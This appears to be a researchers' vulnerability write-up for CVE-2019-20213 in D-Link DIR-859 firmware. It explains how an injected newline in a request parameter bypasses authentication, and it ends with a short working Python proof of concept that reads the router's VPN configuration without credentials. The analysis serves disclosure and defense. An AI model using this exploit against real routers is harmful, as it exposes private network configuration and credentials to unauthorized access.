D-Link DIR-859 — Unauthenticated Information Disclosure (CVE-2019–20213)

Miguel Méndez Z.
4 min readDec 23, 2019

--

Researchers

  • Miguel Mendez Z. — (s1kr10s)
  • Pablo Pollanco — (secenv)

Technical Details

  • Model : DIR-859
  • Firmware Version: 1.06b01 Beta01, 1.05
  • Architecture: MIPS 32 bit

Vulnerability

  • Remote Unauthenticated Information Disclosure via WAN and LAN

Affected Products

Vulnerability analysis

The phpcgi_main() function is executed as the entry point of the phpcgi binary (which, in reality, is a symbolic link to the binary /htdocs/cgibin). This function processes all HTTP requests of type HEAD, GET or POST, whose file extension requested are php, asp, etc. Also, it obtains and processes the parameters set in the URL, creating strings (in the form “KEY=value”) and passing them to the PHP interpreter.

Due to a mistake in the processing of the request body, it is possible to bypass the authentication required by the device when accessing certain PHP files, by sending a specially crafted HTTP request, as shown below:

KEY can be HEAD, GET o POST
Value is a string value terminated in a new line, "\n"
URL Path: /vpnconfig.php?pwnd=%0a
main function

The image shows the structure in flowgraph mode of the phpcgi_main() function, where the green colored boxes are the path to follow to reach the vulnerable code (purple box).

phpcgi_main() function

To start the analysis, we must debug the binary “/htdocs/cgibin”. For this we use QEMU as emulator, and a decompiler to taste. In our case we use IDA.

We start the following script with the defined values as shown, so the process is run under the debugger.

debugging method

We insert a breakpoint in phpcgi_main(), as seen in the following image. Here we focus on the cgibin_parse_request() function, which checks for the existence of header values such as CONTENT_LENGTH and CONTENT_TYPE, in addition to making a call to parse_uri().

url validation

The parse_uri() function checks that the URL contains the character “?”, and orders the structure of the URL being sent. At this point we can find in memory the value we control (AUTHORIZED_GROUP=1%0a).

controlled value

Upon returning the execution from cgibin_parse_request() to phpcgi_main(), some variables are initialized. Then the sess_validate() function is executed, which returns a negative value 0xffffffff (-1 in decimal), assigning that value to the “AUTHORIZED_GROUP” parameter.

data copy with sprintf()
return value 0xffffffff

Following the analysis of the routine, we can see how the information we send is sorted by functions (sobj_add_string, sobj_add_char, sobj_get_string) using the register $a0, which is used as a ptr_buffer pointer formatting variables, leaving $a0 as an argument of xmldbc_ephp( ) for final validation.

copy and send structure

After the last copy with sobj_get_string, you can observe in memory how the AUTHORIZED_GROUP variable is with the value that we control.

memory

With this, the PHP code will then be executed, seting the variable “AUTHORIZED_GROUP” as 1, with which we are authorized to read the configuration of the VPN (bottom table of the following image).

vpnconfig.php file

After executing a simple curl with a valid payload, we get the stored configuration of the vpnconfig.php file.

configuration result

Exploit PoC

import requests
# Miguel Mendez Z.
FILES = ["vpnconfig.php"]
IP = "192.168.0.1"
PORT = "80"
headers = {'content-type': 'application/x-www-form-urlencoded'}print "\n-----------VPN-------------\n"
url_vpn = 'http://{ip}:{port}/{file1}?pwnd=%0a'.format(ip=IP, port=PORT, file1=FILES[0])
print(requests.get(url_vpn).text)

Video

Dlink: https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10147

By3…

--

--